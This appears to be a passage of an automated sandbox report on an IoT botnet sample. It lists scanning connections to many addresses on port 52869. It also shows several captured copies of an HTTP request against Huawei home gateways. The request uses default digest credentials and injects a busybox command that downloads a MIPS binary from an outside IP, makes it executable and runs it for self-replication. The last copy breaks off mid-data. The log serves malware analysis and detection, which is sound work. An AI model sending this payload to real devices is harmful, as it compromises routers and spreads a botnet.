Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 81.71.223.221:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 87.22.11.17:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 156.218.218.173:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 51.169.114.105:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 135.241.25.166:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 191.251.66.209:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 51.230.131.89:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 204.52.130.30:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 17.217.65.15:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 69.82.73.167:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 143.19.210.21:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 153.97.31.189:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 84.26.238.160:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 98.189.122.151:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 170.54.95.252:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 170.171.127.228:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 197.160.210.166:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 213.249.133.80:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 48.113.240.162:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 139.23.112.9:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 187.248.171.89:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 74.253.225.130:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 23.86.160.85:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 211.247.29.248:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 130.11.160.84:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 83.224.119.168:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 126.209.245.77:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 126.66.84.101:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 160.241.202.23:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 19.96.215.60:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 72.60.254.31:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 213.139.43.137:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 170.23.175.88:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 164.8.255.47:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 157.40.9.209:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 188.53.105.187:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 77.222.205.40:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 97.132.111.117:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 89.57.196.100:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 210.242.150.143:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 144.242.214.134:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 170.201.104.199:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 191.214.228.151:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 18.101.167.39:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 68.30.100.71:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 49.79.222.119:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 63.139.62.111:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 220.26.7.227:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 183.89.166.139:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 158.124.195.199:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 186.203.154.108:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 139.0.230.132:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 65.224.243.64:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 91.73.86.81:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 70.194.220.73:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 64.186.75.249:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 97.114.117.29:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 187.123.127.227:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 173.204.137.85:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 138.96.171.141:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 13.146.164.210:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 148.242.181.53:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 72.246.92.233:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 77.182.150.37:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 9.231.7.210:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 216.1.152.81:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 221.85.136.10:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 111.37.65.174:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 179.27.16.177:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 115.130.21.220:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 40.14.24.23:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 13.145.132.17:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 191.252.251.212:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 78.238.220.249:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 222.97.13.69:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 47.21.202.187:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 205.130.81.109:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 176.151.180.197:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 168.69.38.135:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 75.16.206.108:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 89.84.130.3:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 137.137.144.212:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 62.126.184.91:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 24.166.198.46:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 78.145.139.16:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 99.172.148.31:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 76.239.185.4:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 199.255.47.208:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 130.147.77.29:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 166.150.19.163:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 47.216.94.0:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 136.164.189.225:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 162.26.5.38:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 114.0.228.232:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 144.53.119.5:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 83.59.61.36:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 47.14.186.72:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 219.243.137.80:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 92.60.201.159:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 112.136.148.134:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 80.49.148.206:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 64.225.124.7:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 4.4.167.103:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 171.117.89.236:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 195.228.120.248:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 221.82.215.87:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 14.2.30.96:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 121.104.50.97:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 177.130.98.196:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 71.112.213.237:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 176.69.59.228:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 92.52.112.233:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 37.205.184.129:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 44.173.173.82:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 13.5.180.251:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 39.240.110.128:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 54.236.238.51:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 165.95.243.107:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 81.73.195.232:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 153.33.151.65:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 183.32.240.14:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 9.155.213.68:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 168.61.125.85:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 191.94.176.193:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 216.194.176.131:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 99.160.201.206:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 82.166.201.81:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 153.105.129.20:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 202.189.16.223:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 126.183.166.233:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 8.85.166.254:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 106.43.123.108:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 43.240.11.124:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 117.76.117.93:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 198.95.42.42:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 53.36.224.51:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 160.161.205.189:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 159.127.6.20:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 219.0.14.247:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 223.227.5.114:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 141.36.128.134:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 51.65.47.196:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 212.236.125.79:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 162.202.222.182:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 109.242.201.39:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 49.146.39.71:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 71.95.23.241:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 61.114.188.190:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 35.206.55.83:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 13.232.225.193:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 154.241.18.163:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 206.239.43.25:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 2.28.103.200:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 125.82.19.196:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 204.210.9.128:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 183.244.92.210:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 47.222.214.79:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 110.74.122.205:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 219.208.149.193:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 126.183.144.210:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 188.112.111.250:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 20.106.107.244:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 188.74.101.140:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 78.8.181.144:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 124.49.210.94:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 1.212.57.243:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 77.190.202.82:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 50.236.24.191:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 115.52.50.250:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 178.39.107.192:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 87.8.107.75:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 216.44.193.248:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 2.24.106.226:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 130.52.89.119:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 177.163.100.239:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 84.170.72.203:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 64.141.187.236:52869
Source: global traffic	TCP traffic: 192.168.2.13:50566 -> 83.201.72.91:52869

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 